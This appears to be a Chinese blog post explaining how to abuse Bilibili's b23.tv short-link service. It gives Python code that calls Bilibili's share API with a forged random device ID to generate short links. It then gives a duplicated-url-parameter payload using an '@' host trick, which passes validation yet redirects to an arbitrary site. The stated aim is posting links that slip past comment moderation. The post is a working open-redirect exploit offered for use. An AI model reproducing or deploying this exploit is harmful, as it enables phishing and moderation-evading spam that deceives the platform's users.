b23.tv 以前服务端校验非常弱智,后来修复过后没见有人任意跳转了。
b23.tv 发评论区不容易被风控,所以钻研了一下,搞来玩玩儿。
先搞一个 b 站获取短链的接口:
import random
import requests
import json
import string
api = 'http://api.bilibili.com/x/share/click'
def random_buvid():
return ''.join(random.choices(string.digits+string.ascii_letters, k=32))+'infoc'
def get_b23of(long_url):
data = {
'build': '6500300',
'buvid': random_buvid(),
'oid': long_url,
'platform': 'android',
'share_channel': 'COPY',
'share_id': 'public.webview.0.0.pv',
'share_mode': '3'
}
res = requests.post(api, data=data, timeout=9, headers={
"User-Agent": ""
})
data = json.loads(res.content)
print(data)
随后注意到 B 站安卓客户端(俺没有苹果)有个bilibili://browser?url=http://www.bilibili.com
的跳转,离谱的是bilibili://browser?url=http://www.bilibili.com&url=@www.baidu.com
会被跳转到http://www.bilibili.com,@www.baidu.com
,并且短链接生成只会检验第一个 url 参数,就可以所以组合任意链接跳转了。